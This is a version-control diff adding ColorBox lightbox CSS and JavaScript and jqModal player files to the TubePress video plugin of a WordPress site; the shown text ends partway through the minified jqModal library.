--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/colorbox/lib/colorbox-custom.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/colorbox/lib/colorbox-custom.css	(revision 44)
@@ -0,0 +1,26 @@
+/* 
+	ColorBox example user style
+	These rules are ordered and tabbed in a way that represents the order/nesting of the generated HTML, 
+	in hope that this will make the relationship easier to understand. Thanks, jack@colorpowered.com
+*/
+#modalBackgroundOverlay{background:url(images/stripe.png) 0 0 repeat;}
+#colorbox{}
+	#borderTopLeft{width:21px; height:21px; background:url(images/borderTopLeft.png) 0 0 no-repeat;}
+	#borderTopCenter{height:21px; background:url(images/borderTopCenter.png) 0 0 repeat-x;}
+	#borderTopRight{width:21px; height:21px; background:url(images/borderTopRight.png) 0 0 no-repeat;}
+	#borderBottomLeft{width:21px; height:21px; background:url(images/borderBottomLeft.png) 0 0 no-repeat;}
+	#borderBottomCenter{height:21px; background:url(images/borderBottomCenter.png) 0 0 repeat-x;}
+	#borderBottomRight{width:21px; height:21px; background:url(images/borderBottomRight.png) 0 0 no-repeat;}
+	#borderMiddleLeft{width:21px; background:url(images/borderMiddleLeft.png) 0 0 repeat-y;}
+	#borderMiddleRight{width:21px; background:url(images/borderMiddleRight.png) 0 0 repeat-y;}
+	#modalContent{background:#fff;}
+		#modalLoadedContent{margin-bottom:28px;}
+			#contentTitle{position:absolute; bottom:3px; left:0; text-align:center; width:100%; background:#fff; font-weight:bold; color:#949494;}
+			#contentCurrent{position:absolute; bottom:3px; left:58px; font-weight:bold; color:#949494;}
+			#contentPrevious{position:absolute; bottom:0; left:0px; background:url(images/controls.png) -25px 0px no-repeat; width:25px; height:25px; text-indent:-9999px;}
+			#contentPrevious:hover, #contentPrevious.hover{background-position:-25px -25px;}
+			#contentNext{position:absolute; bottom:0; left:27px; background:url(images/controls.png) 0px 0px no-repeat; width:25px; height:25px; text-indent:-9999px;}
+			#contentNext:hover, #contentNext.hover{background-position:0px -25px;}
+		#modalLoadingOverlay{background:url(images/loading.gif) center center no-repeat #fff;}
+		#modalClose{position:absolute; bottom:0; right:0; background:url(images/controls.png) -50px 0px no-repeat; width:25px; height:25px; text-indent:-9999px;}
+		#modalClose:hover, #modalClose.hover{background-position:-50px -25px;}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/colorbox/lib/colorbox.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/colorbox/lib/colorbox.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/colorbox/lib/colorbox.css	(revision 44)
@@ -0,0 +1,14 @@
+#colorbox, #modalBackgroundOverlay, #modalWrap{position:absolute; top:0; left:0; z-index:9999;}
+#modalBackgroundOverlay{position:fixed; width:100%; height:100%;}
+#colorbox{overflow:hidden; padding:1px; margin-top:-1px; margin-left:-1px;}/*padding fixes a ghosting issue in IE7, the negative margin compensates */
+	#modalWrap{width:9000px; height:9000px;}
+		#modalContent, #borderTopLeft, #borderTopCenter, #borderTopRight, #borderBottomLeft, #borderBottomCenter, #borderBottomRight, #borderMiddleLeft, #borderMiddleRight {float:left; height:0; width:0; overflow:hidden;}
+		#borderMiddleLeft, #borderBottomLeft{clear:left;}
+		#modalContent{position:relative; overflow:visible;}
+			#contentTitle{margin:0;}
+			#modalClose, #contentPrevious, #contentNext{outline:none; cursor:pointer; border:0; margin:0;}
+			#modalLoadedContent{overflow:auto; width:0; height:0;}
+			#modalLoadedContent iframe{display:block; width:100%; height:100%; border:0;}
+			#modalLoadedContent embed{display:block; border:0;}/* Display:block removes the line-height gap embedded content */
+			#modalLoadingOverlay{position:absolute; width:100%; height:100%; top:0; left:0;}
+			
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/colorbox/lib/jquery.colorbox-dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/colorbox/lib/jquery.colorbox-dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/colorbox/lib/jquery.colorbox-dev.js	(revision 44)
@@ -0,0 +1,235 @@
+/*
+	ColorBox v1.05 - a full featured, light-weight, customizable lightbox based on jQuery 1.3
+	(c) 2009 Jack Moore - www.colorpowered.com - jack@colorpowered.com
+	Licensed under the MIT license: http://www.opensource.org/licenses/mit-license.php
+*/
+
+(function(jQuery){
+
+var index, related, loadingElement, modal, modalOverlay, modalLoading, modalContent, modalLoadedContent, modalClose, borderTopLeft, borderTopCenter, borderTopRight, borderMiddleLeft, borderMiddleRight, borderBottomLeft, borderBottomCenter, borderBottomRight;
+
+jQuery(function(){
+	//Initialize the modal, preload the interface graphics, and wait until called.
+	jQuery("body").append(
+		jQuery([
+			modalOverlay = jQuery('<div id="modalBackgroundOverlay" />')[0], 
+			modal = jQuery('<div id="colorbox" />')[0]
+		]).hide()
+	);
+
+	jQuery(modal).append(
+		jQuery([
+			borderTopLeft = jQuery('<div id="borderTopLeft" />')[0],
+			borderTopCenter = jQuery('<div id="borderTopCenter" />')[0],
+			borderTopRight = jQuery('<div id="borderTopRight" />')[0],
+			borderMiddleLeft = jQuery('<div id="borderMiddleLeft" />')[0],
+			borderMiddleRight = jQuery('<div id="borderMiddleRight" />')[0],
+			borderBottomLeft = jQuery('<div id="borderBottomLeft" />')[0],
+			borderBottomCenter = jQuery('<div id="borderBottomCenter" />')[0],
+			borderBottomRight = jQuery('<div id="borderBottomRight" />')[0],
+			modalContent = jQuery('<div id="modalContent" />')[0]
+		])
+	);
+	
+	jQuery(modalContent).append(
+		jQuery([
+			modalLoadedContent = jQuery('<div id="modalLoadedContent"><a id="contentPrevious" href="#"></a><a id="contentNext" href="#"></a><span id="contentCurrent"></span><br id="modalInfoBr"/><span id="contentTitle"></span><div id="preloadPrevious"></div><div id="preloadNext"></div><div id="preloadClose"></div></div>')[0], 
+			modalLoadingOverlay = jQuery('<div id="modalLoadingOverlay" />')[0],
+			modalClose = jQuery('<a id="modalClose" href="#"></a>')[0]
+		])
+	);
+
+	jQuery(modalClose).click(function(){
+		closeModal();
+		return false;
+	});
+});
+
+function setModalOverlay(){
+	jQuery([modalOverlay]).css({"position":"absolute", width:jQuery(window).width(), height:jQuery(window).height(), top:jQuery(window).scrollTop(), left:jQuery(window).scrollLeft()});
+}
+
+function keypressEvents(e){
+	if(e.keyCode == 27){
+		closeModal();
+		return false;
+	}
+	else if(e.keyCode == 37){
+		jQuery("a#contentPrevious").click();
+		return false;
+	}
+	else if(e.keyCode == 39){
+		jQuery("a#contentNext").click();
+		return false
+	}
+}
+
+function closeModal(){
+	jQuery(modal).removeData("open");
+	jQuery([modalOverlay, modal]).fadeOut("fast", function(){
+		jQuery(modalLoadedContent).empty();
+		jQuery([modalOverlay, modal]).hide();//Seems unnecessary, but sometimes IE6 does not hide the modal.
+	});
+	if(loadingElement){jQuery(loadingElement).remove()};
+	jQuery(document).unbind('keydown', keypressEvents);
+	jQuery(window).unbind('resize scroll', setModalOverlay);
+}
+
+jQuery.fn.colorbox = function(settings) {
+
+	settings = jQuery.extend({}, jQuery.fn.colorbox.settings, settings);
+
+	//sets the position of the modal on screen.  A transition speed of 0 will result in no animation.
+	function modalPosition(modalWidth, modalHeight, transitionSpeed, callback){
+		var windowHeight;
+		(typeof(window.innerHeight)=='number')?windowHeight=window.innerHeight:windowHeight=document.documentElement.clientHeight;
+		var colorboxHeight = modalHeight + jQuery(borderTopLeft).height() + jQuery(borderBottomLeft).height();
+		var colorboxWidth = modalWidth + jQuery(borderTopLeft).width() + jQuery(borderBottomLeft).width();
+		var posTop = windowHeight/2 - colorboxHeight/2 + jQuery(window).scrollTop();
+		var posLeft = jQuery(window).width()/2 - colorboxWidth/2 + jQuery(window).scrollLeft();
+		if(colorboxHeight > windowHeight){
+			posTop -=(colorboxHeight - windowHeight);
+		}
+		if(posTop < 0){posTop = 0;} //keeps the box from expanding to an inaccessible area offscreen.
+		if(posLeft < 0){posLeft = 0;}
+		jQuery(modal).animate({height:colorboxHeight, top:posTop, left:posLeft, width:colorboxWidth}, transitionSpeed);
+
+		//each part is animated seperately to keep them from disappearing during the animation process, which is what would happen if they were positioned relative to a single element being animated.
+		jQuery(borderMiddleLeft).animate({top:jQuery(borderTopLeft).height(), left:0, height:modalHeight}, transitionSpeed);
+		jQuery(borderMiddleRight).animate({top:jQuery(borderTopRight).height(), left:colorboxWidth-jQuery(borderMiddleRight).width(), height:modalHeight}, transitionSpeed);
+
+		jQuery(borderTopLeft).animate({top:0, left:0}, transitionSpeed);
+		jQuery(borderTopCenter).animate({top:0, left:jQuery(borderTopLeft).width(), width:modalWidth}, transitionSpeed);
+		jQuery(borderTopRight).animate({top: 0, left: colorboxWidth - jQuery(borderTopRight).width()}, transitionSpeed);
+
+		jQuery(borderBottomLeft).animate({top:colorboxHeight-jQuery(borderBottomLeft).height(), left:0}, transitionSpeed);
+		jQuery(borderBottomCenter).animate({top:colorboxHeight-jQuery(borderBottomLeft).height(), left:jQuery(borderBottomLeft).width(), width:modalWidth}, transitionSpeed);
+		jQuery(borderBottomRight).animate({top: colorboxHeight - jQuery(borderBottomLeft).height(),	left: colorboxWidth - jQuery(borderBottomRight).width()}, transitionSpeed);
+		jQuery(modalContent).animate({height:modalHeight, width:modalWidth, top:jQuery(borderTopLeft).height(), left:jQuery(borderTopLeft).width()}, transitionSpeed, function(){
+			if(callback){callback();}
+			if(jQuery.browser.msie && jQuery.browser.version < 7){
+				setModalOverlay();
+			}
+		});	
+	}
+	
+	var preloads = [];
+
+	function preload(){
+		
+	}
+	
+	function centerModal(contentHtml, contentInfo){
+		jQuery(modalLoadedContent).hide().html(contentHtml).append(contentInfo);
+		if(settings.contentWidth){jQuery(modalLoadedContent).css({"width":settings.contentWidth})}
+		if(settings.contentHeight){jQuery(modalLoadedContent).css({"height":settings.contentHeight})}
+		if (settings.transition == "elastic") {
+			modalPosition(jQuery(modalLoadedContent).outerWidth(true), jQuery(modalLoadedContent).outerHeight(true), settings.transitionSpeed, function(){
+				jQuery(modalLoadedContent).show();
+				jQuery(modalLoadingOverlay).hide();
+			});
+			
+		}
+		else {
+			jQuery(modal).animate({"opacity":0}, settings.transitionSpeed, function(){
+				modalPosition(jQuery(modalLoadedContent).outerWidth(true), jQuery(modalLoadedContent).outerHeight(true), 0, function(){
+					jQuery(modalLoadedContent).show();
+					jQuery(modalLoadingOverlay).hide();
+					jQuery(modal).animate({"opacity":1}, settings.transitionSpeed);
+				});
+			});
+		}
+		var preloads = preload();
+	}
+	
+	function contentNav(){
+		jQuery(modalLoadingOverlay).show();
+		if(jQuery(this).attr("id") == "contentPrevious"){
+			index > 0 ? index-- : index=related.length-1;
+		} else {
+			index < related.length-1 ? index++ : index = 0;
+		}
+		buildGallery(related[index]);
+		return false;	
+	}
+	
+	function buildGallery(that){
+		var contentInfo = "<br id='modalInfoBr'/><span id='contentTitle'></span>";
+	
+		if (settings.contentInline) {
+			centerModal(jQuery(settings.contentInline).html(), contentInfo);
+		}
+	};
+	
+	jQuery(this).bind("click.colorbox", function () {
+		if (jQuery(modal).data("open") != true) {
+			jQuery(modal).data("open", true);
+			jQuery(modalLoadedContent).empty().css({
+				"height": "auto",
+				"width": "auto"
+			});
+			jQuery(modalClose).html(settings.modalClose);
+			jQuery(modalOverlay).css({
+				"opacity": settings.bgOpacity
+			});
+			jQuery([modalOverlay, modal, modalLoadingOverlay]).show();
+			jQuery(modalContent).css({
+				width: settings.initialWidth,
+				height: settings.initialHeight
+			});
+			modalPosition(jQuery(modalContent).width(), jQuery(modalContent).height(), 0);
+			if (this.rel) {
+				related = jQuery("a[rel='" + this.rel + "']");
+				index = jQuery(related).index(this);
+			}
+			else {
+				related = jQuery(this);
+				index = 0;
+			}
+			buildGallery(related[index]);
+						jQuery(document).bind('keydown', keypressEvents);
+			if (jQuery.browser.msie && jQuery.browser.version < 7) {
+				jQuery(window).bind("resize scroll", setModalOverlay);
+			}
+		}
+		return false;
+	});
+
+	if(settings.open==true && jQuery(modal).data("open")!=true){
+		jQuery(this).triggerHandler('click.colorbox');
+	}
+
+	return this.each(function() { 
+	});
+};
+
+/*
+	ColorBox Default Settings.
+	
+	The colorbox() function takes one argument, an object of key/value pairs, that are used to initialize the modal.
+	
+	Please do not change these settings here, instead overwrite these settings when attaching the colorbox() event to your anchors.
+	Example (Global)	: jQuery.fn.colorbox.settings.transition = "fade"; //changes the transition to fade for all colorBox() events proceeding it's declaration.
+	Example (Specific)	: jQuery("a[href='http://www.google.com']").colorbox({contentWidth:"700px", contentHeight:"450px", contentIframe:true});
+*/
+jQuery.fn.colorbox.settings = {
+	transition : "elastic", // "elastic" or "fade". Set transitionSpeed to 0 for no transition.
+	transitionSpeed : 350, // Sets the speed of the fade and elastic transition, in milliseconds. Set to 0 for no transition.
+	initialWidth : 300, // Set the initial width of the modal, prior to any content being loaded.
+	initialHeight : 100, // Set the initial height of the modal, prior to any content being loaded.
+	contentWidth : false, // Set a fixed width for div#modalLoadedContent.  Example: "500px"
+	contentHeight : false, // Set a fixed height for div#modalLoadedContent.  Example: "500px"
+	contentAjax : false, // Set this to the file, or file+selector of content that will be loaded through an external file.  Example "include.html" or "company.inc.php div#ceo_bio"
+	contentInline : false, // Set this to the selector, in jQuery selector format, of inline content to be displayed.  Example "#myHiddenDiv".
+	contentIframe : false, // If 'true' specifies that content should be displayed in an iFrame.
+	bgOpacity : 0.85, // The modalBackgroundOverlay opacity level. Range: 0 to 1.
+	preloading : true, // Allows for preloading of 'Next' and 'Previous' content in a shared relation group (same values for the 'rel' attribute), after the current content has finished loading.  Set to 'false' to disable.
+	contentCurrent : "{current} of {total}", // the format of the contentCurrent information
+	contentPrevious : "previous", // the anchor text for the previous link in a shared relation group (same values for 'rel').
+	contentNext : "next", // the anchor text for the next link in a shared relation group (same 'rel' attribute').
+	modalClose : "close", // the anchor text for the close link.  Esc will also close the modal.
+	open : false //Automatically opens ColorBox. (fires the click.colorbox event without waiting for user input).
+}
+
+})(jQuery);
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/colorbox/lib/jquery.colorbox.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/colorbox/lib/jquery.colorbox.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/colorbox/lib/jquery.colorbox.js	(revision 44)
@@ -0,0 +1,568 @@
+/*
+
+	ColorBox v1.1.6 - a full featured, light-weight, customizable lightbox based on jQuery 1.3
+
+	(c) 2009 Jack Moore - www.colorpowered.com - jack@colorpowered.com
+
+	Licensed under the MIT license: http://www.opensource.org/licenses/mit-license.php
+
+*/
+
+
+
+(function(jQuery){
+
+var settings, loadedWidth, loadedHeight, interfaceHeight, interfaceWidth, index, related, loadingElement, $modal, modalWrap, $loadingOverlay, $overlay, $modalContent, $loaded, $close, $borderTopCenter, $borderMiddleLeft, $borderMiddleRight, $borderBottomCenter;
+
+function setModalOverlay(){
+
+	$overlay.css({"position":"absolute", width:jQuery(window).width(), height:jQuery(window).height(), top:jQuery(window).scrollTop(), left:jQuery(window).scrollLeft()});
+
+}
+
+function keypressEvents(e){
+
+	if(e.keyCode == 37){
+
+		e.preventDefault();
+
+		jQuery(document).unbind('keydown', keypressEvents);
+
+		jQuery("a#contentPrevious").click();
+
+	} else if(e.keyCode == 39){
+
+		e.preventDefault();
+
+		jQuery(document).unbind('keydown', keypressEvents);
+
+		jQuery("a#contentNext").click();
+
+	}
+
+}
+
+function clearLoading(){
+
+	if(jQuery("#colorboxInlineTemp").length > 0){
+
+		$loaded.children().insertAfter("#colorboxInlineTemp");
+
+	}
+
+	if(loadingElement){jQuery(loadingElement).remove();}
+
+}
+
+
+
+// Convert % values to pixels
+
+function setSize(size, dimension){
+
+	return (typeof size == 'string') ? (size.match(/%/) ? (dimension/100)*parseInt(size, 10) : parseInt(size, 10)) : size;
+
+}
+
+
+
+/*
+
+  Initialize the modal: store common calculations, preload the interface graphics, append the html.
+
+  This preps colorbox for a speedy open when clicked, and lightens the burdon on the browser by only
+
+  having to run once, instead of each time colorbox is opened.
+
+*/
+
+jQuery(function(){//jQuery shortcut for jQuery(document).ready(function(){});
+
+	jQuery("body").append(
+
+		$overlay = jQuery('<div id="modalBackgroundOverlay" />').hide(), 
+
+		$modal = jQuery('<div id="colorbox" />').css("opacity", 0)
+
+	);
+
+
+
+	jQuery('<div id="modalWrap" />').appendTo($modal).append(
+
+		jQuery('<div><div id="borderTopLeft" /><div id="borderTopCenter" /><div id="borderTopRight" /></div>'),
+
+		$borderMiddleLeft = jQuery('<div id="borderMiddleLeft" />'),
+
+		$modalContent = jQuery('<div id="modalContent" />'),
+
+		$borderMiddleRight = jQuery('<div id="borderMiddleRight" />'),
+
+		jQuery('<div><div id="borderBottomLeft" /><div id="borderBottomCenter" /><div id="borderBottomRight" /></div>')
+
+	);
+
+	$modalContent.append(
+
+		//loaded is filled with temporary HTML to allow the CSS backgrounds for those elements to load before ColorBox is actually called.
+
+		$loaded = jQuery('<div id="modalLoadedContent"><span id="contentTitle"></span></div>'), 
+
+		$loadingOverlay = jQuery('<div id="modalLoadingOverlay" />'),
+
+		$close = jQuery('<a id="modalClose" href="#"></a>')
+
+	);
+
+
+
+	jQuery(document).bind("keydown.colorClose", function(e){
+
+		if (e.keyCode == 27) {
+
+			e.preventDefault();
+
+			jQuery.fn.colorbox.close();
+
+		}
+
+	});
+
+
+
+	$close.click(function(event){
+
+		event.preventDefault();
+
+		jQuery.fn.colorbox.close();
+
+	});
+
+
+
+	$borderTopCenter = jQuery("#borderTopCenter");
+
+	$borderBottomCenter = jQuery("#borderBottomCenter");
+
+
+
+	interfaceHeight = $borderTopCenter.height()+$borderBottomCenter.height()+$modalContent.outerHeight(true) - $modalContent.height();//Subtraction needed for IE6
+
+	interfaceWidth = $borderMiddleLeft.width()+$borderMiddleRight.width()+$modalContent.outerWidth(true) - $modalContent.width();
+
+
+
+	loadedHeight = $loaded.outerHeight(true);
+
+	loadedWidth = $loaded.outerWidth(true);
+
+
+
+	$loaded.empty();
+
+	$modal.css({"padding-bottom":interfaceHeight,"padding-right":interfaceWidth}).hide();//the padding removes the need to do size conversions during the animation step.
+
+
+
+	//Archaic rollover code because IE8 is a piece of shit.  Hopefully they'll fix their css-rollover bug so the following code can be removed.
+
+	jQuery("#contentPrevious, #contentNext, #modalClose").live('mouseover', function(){jQuery(this).addClass("hover");});
+
+	jQuery("#contentPrevious, #contentNext, #modalClose").live('mouseout', function(){jQuery(this).removeClass("hover");});
+
+});
+
+
+
+jQuery.fn.colorbox = function(settings, callback) {
+
+
+
+	function modalPosition(mWidth, mHeight, speed, loadedCallback){
+
+	
+
+		var winHeight = document.documentElement.clientHeight;
+
+		var posTop = winHeight/2 - mHeight/2;
+
+		var posLeft = document.documentElement.clientWidth/2 - mWidth/2;
+
+		//keeps the box from expanding to an inaccessible area offscreen.
+
+		if(mHeight > winHeight){posTop -=(mHeight - winHeight);}
+
+		if(posTop < 0){posTop = 0;} 
+
+		if(posLeft < 0){posLeft = 0;}
+
+	
+
+		posTop+=jQuery(window).scrollTop();
+
+		posLeft+=jQuery(window).scrollLeft();
+
+	
+
+		mWidth = mWidth - interfaceWidth;
+
+		mHeight = mHeight - interfaceHeight;
+
+
+
+		function modalDimensions(that){
+
+			$modalContent[0].style.width = $borderTopCenter[0].style.width = $borderBottomCenter[0].style.width = that.style.width;
+
+			$modalContent[0].style.height = $borderMiddleLeft[0].style.height = $borderMiddleRight[0].style.height = that.style.height;
+
+		}
+
+
+
+		$modal.animate({height:mHeight, width:mWidth, top:posTop, left:posLeft}, {duration: speed,
+
+			complete: function(){
+
+				if (loadedCallback) {loadedCallback();}
+
+				modalDimensions(this);
+
+				if (jQuery.browser.msie && jQuery.browser.version < 7) {setModalOverlay();}
+
+			},
+
+			step: function(){
+
+				modalDimensions(this);		
+
+			}
+
+		});
+
+	}
+
+	var preloads = [];
+
+	function preload(){
+
+
+
+		return false;
+
+	}
+
+	
+
+	function contentNav(){
+
+		$loadingOverlay.show();
+
+		if(jQuery(this).attr("id") == "contentPrevious"){
+
+			index = index > 0 ? index-1 : related.length-1;
+
+		} else {
+
+			index = index < related.length-1 ? index+1 : 0;
+
+		}
+
+		loadModal(related[index].href, related[index].title);
+
+		return false;
+
+	}
+
+	
+
+	function centerModal (object, contentInfo){
+
+		if($modal.data("open")!==true){ return false; }
+
+
+
+		var speed = settings.transition=="none" ? 0 : settings.transitionSpeed;
+
+		$loaded.remove();
+
+		$loaded = jQuery(object);
+
+	
+
+		$loaded.hide()
+
+		.appendTo('body')
+
+		.css({width:(settings.fixedWidth)?settings.fixedWidth - loadedWidth - interfaceWidth:$loaded.width()}).css({height:(settings.fixedHeight)?settings.fixedHeight - loadedHeight - interfaceHeight:$loaded.height()})
+
+		.attr({id:"modalLoadedContent"})
+
+		.append(contentInfo)
+
+		.prependTo($modalContent);
+
+
+
+		if(jQuery("#modalPhoto").length > 0 && settings.fixedHeight){
+
+			var topMargin = (parseInt($loaded[0].style.height, 10) - parseInt(jQuery("#modalPhoto")[0].style.height, 10))/2;
+
+			jQuery("#modalPhoto").css({marginTop:(topMargin > 0?topMargin:0)});
+
+		}
+
+	
+
+		function setPosition(s){
+
+			modalPosition(parseInt($loaded[0].style.width, 10)+loadedWidth+interfaceWidth, parseInt($loaded[0].style.height, 10)+loadedHeight+interfaceHeight, s, function(){
+
+				if($modal.data("open")!==true){
+
+					return false;
+
+				}
+
+				$loaded.show();
+
+				$loadingOverlay.hide();
+
+				jQuery(document).bind('keydown', keypressEvents);
+
+				if (callback) {
+
+					callback();
+
+				}
+
+				if (settings.transition === "fade"){
+
+					$modal.animate({"opacity":1}, speed);
+
+				}
+
+				return true;
+
+			});
+
+		}
+
+		if (settings.transition == "fade") {
+
+			$modal.animate({"opacity":0}, speed, function(){setPosition(0);});
+
+		} else {
+
+			setPosition(speed);
+
+		}
+
+		var preloads = preload();
+
+		return true;
+
+	}
+
+	
+
+	function loadModal(href, title){
+
+		clearLoading();
+
+		var contentInfo = "<p id='contentTitle'>"+title+"</p>";
+
+
+		if (settings.inline) {
+
+			loadingElement = jQuery('<div id="colorboxInlineTemp" />').hide().insertBefore(jQuery(href)[0]);
+
+			centerModal(jQuery(href).wrapAll("<div />").parent(), contentInfo);
+
+		
+		}
+
+	}
+
+
+
+	settings = jQuery.extend({}, jQuery.fn.colorbox.settings, settings);
+
+	
+
+	jQuery(this).unbind("click.colorbox").bind("click.colorbox", function () {
+
+		if(settings.fixedWidth){ settings.fixedWidth = setSize(settings.fixedWidth, document.documentElement.clientWidth);}
+
+		if(settings.fixedHeight){ settings.fixedHeight = setSize(settings.fixedHeight, document.documentElement.clientHeight);}
+
+		if (this.rel && 'nofollow' != this.rel) {
+
+			related = jQuery("a[rel='" + this.rel + "']");
+
+			index = jQuery(related).index(this);
+
+		}
+
+		else {
+
+			related = jQuery(this);
+
+			index = 0;
+
+		}
+
+
+
+		if ($modal.data("open") !== true) {
+
+			jQuery(document).bind('keydown', keypressEvents);
+
+			$close.html(settings.modalClose);
+
+			$overlay.css({"opacity": settings.bgOpacity}).show();
+
+			$modal.data("open", true).css({"opacity":1});
+
+
+
+			modalPosition(setSize(settings.initialWidth, document.documentElement.clientWidth), setSize(settings.initialHeight, document.documentElement.clientHeight), 0);
+
+
+
+			if (jQuery.browser.msie && jQuery.browser.version < 7) {
+
+				jQuery(window).bind("resize scroll", setModalOverlay);
+
+			}
+
+		}
+
+
+
+		loadModal(settings.href ? settings.href : related[index].href, settings.title ? settings.title : related[index].title);
+
+		jQuery("a#contentPrevious, a#contentNext").die().live("click", contentNav);
+
+
+
+		if(settings.overlayClose!==false){
+
+			$overlay.css({"cursor":"pointer"}).click(function(){jQuery.fn.colorbox.close();});
+
+		}
+
+		return false;
+
+	});
+
+
+
+	if(settings.open!==false && $modal.data("open")!==true){
+
+		jQuery(this).triggerHandler('click.colorbox');
+
+	}
+
+
+
+	return this.each(function() { 
+
+	});
+
+};
+
+
+
+//public function for closing colorbox.  To use this within an iframe use the following format: parent.jQuery.fn.colorbox.close();
+
+jQuery.fn.colorbox.close = function(){
+
+
+
+	jQuery('#contentTitle').remove();
+
+	clearLoading();
+
+	$overlay.css({cursor:"auto"}).fadeOut("fast");
+
+	$modal.stop(true, false).removeData("open").fadeOut("fast", function(){
+
+		$loaded.remove();
+
+	});
+
+	jQuery(document).unbind('keydown', keypressEvents);
+
+	jQuery(window).unbind('resize scroll', setModalOverlay);
+
+	return false;
+
+};
+
+
+
+/*
+
+	ColorBox Default Settings.
+
+	
+
+	The colorbox() function takes one argument, an object of key/value pairs, that are used to initialize the modal.
+
+	
+
+	Please do not change these settings here, instead overwrite these settings when attaching the colorbox() event to your anchors.
+
+	Example (Global)	: jQuery.fn.colorbox.settings.transition = "fade"; //changes the transition to fade for all colorBox() events proceeding it's declaration.
+
+	Example (Specific)	: jQuery("a[href='http://www.google.com']").colorbox({fixedWidth:"90%", fixedHeight:"450px", iframe:true});
+
+*/
+
+jQuery.fn.colorbox.settings = {
+
+	transition : "elastic", // Transition types: "elastic", "fade", or "none".
+
+	transitionSpeed : 350, // Sets the speed of the fade and elastic transitions, in milliseconds.
+
+	initialWidth : "400", // Set the initial width of the modal, prior to any content being loaded.
+
+	initialHeight : "400", // Set the initial height of the modal, prior to any content being loaded.
+
+	fixedWidth : false, // Set a fixed width for div#loaded.  Example: "500px"
+
+	fixedHeight : false, // Set a fixed height for div#modalLoadedContent.  Example: "500px"
+
+	inline : false, // Set this to the selector of inline content to be displayed.  Example "#myHiddenDiv" or "body p".
+
+	iframe : false, // If 'true' specifies that content should be displayed in an iFrame.
+
+	href : false, // This can be used as an alternate anchor URL for ColorBox to use, or can be used to assign a URL for non-anchor elments such as images or form buttons.
+
+	title : false, // This can be used as an alternate anchor title.
+
+	bgOpacity : 0.85, // The modalBackgroundOverlay opacity level. Range: 0 to 1.
+
+	preloading : true, // Allows for preloading of 'Next' and 'Previous' content in a shared relation group (same values for the 'rel' attribute), after the current content has finished loading.  Set to 'false' to disable.
+
+	contentCurrent : "image {current} of {total}", // the format of the contentCurrent information
+
+	contentPrevious : "previous", // the anchor text for the previous link in a shared relation group (same values for 'rel').
+
+	contentNext : "next", // the anchor text for the next link in a shared relation group (same 'rel' attribute').
+
+	modalClose : "close", // the anchor text for the close link.  Esc will also close the modal.
+
+	open : false, //Automatically opens ColorBox. (fires the click.colorbox event without waiting for user input).
+
+	overlayClose : true  //If true, enables closing ColorBox by clicking on the background overlay.
+
+};
+
+
+
+})(jQuery);
+
+
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/jqmodal/jqmodal.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/jqmodal/jqmodal.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/jqmodal/jqmodal.js	(revision 44)
@@ -0,0 +1,10 @@
+function tubepress_jqmodal_player(galleryId, videoId) {
+	var element = jQuery("#tubepress_embedded_object_" + galleryId);
+	element.addClass('jqmWindow');     
+	element.jqm(); 
+	element.jqmShow();
+}
+
+function tubepress_jqmodal_player_init(baseUrl) {
+    jQuery.getScript(baseUrl + '/ui/players/jqmodal/lib/jqModal.js', function() {}, true);
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/jqmodal/lib/jqModal.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/jqmodal/lib/jqModal.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/jqmodal/lib/jqModal.js	(revision 44)
@@ -0,0 +1,8 @@
+(function(d){d.fn.jqm=function(f){var e={overlay:50,overlayClass:"jqmOverlay",closeClass:"jqmClose",trigger:".jqModal",ajax:o,ajaxText:"",target:o,modal:o,toTop:o,onShow:o,onHide:o,onLoad:o};return this.each(function(){if(this._jqm){return n[this._jqm].c=d.extend({},n[this._jqm].c,f)}p++;this._jqm=p;
+n[p]={c:d.extend(e,d.jqm.params,f),a:o,w:d(this).addClass("jqmID"+p),s:p};if(e.trigger){d(this).jqmAddTrigger(e.trigger)}})};d.fn.jqmAddClose=function(f){return l(this,f,"jqmHide")};d.fn.jqmAddTrigger=function(f){return l(this,f,"jqmShow")};d.fn.jqmShow=function(e){return this.each(function(){e=e||window.event;
+d.jqm.open(this._jqm,e)})};d.fn.jqmHide=function(e){return this.each(function(){e=e||window.event;d.jqm.close(this._jqm,e)})};d.jqm={hash:{},open:function(B,A){var m=n[B],q=m.c,i="."+q.closeClass,v=(parseInt(m.w.css("z-index"))),v=(v>0)?v:3000,f=d("<div></div>").css({height:"100%",width:"100%",position:"fixed",left:0,top:0,"z-index":v-1,opacity:q.overlay/100});
+if(m.a){return o}m.t=A;m.a=true;m.w.css("z-index",v);if(q.modal){if(!a[0]){k("bind")}a.push(B)}else{if(q.overlay>0){m.w.jqmAddClose(f)}else{f=o}}m.o=(f)?f.addClass(q.overlayClass).prependTo("body"):o;if(c){d("html,body").css({height:"100%",width:"100%"});if(f){f=f.css({position:"absolute"})[0];for(var w in {Top:1,Left:1}){f.style.setExpression(w.toLowerCase(),"(_=(document.documentElement.scroll"+w+" || document.body.scroll"+w+"))+'px'")
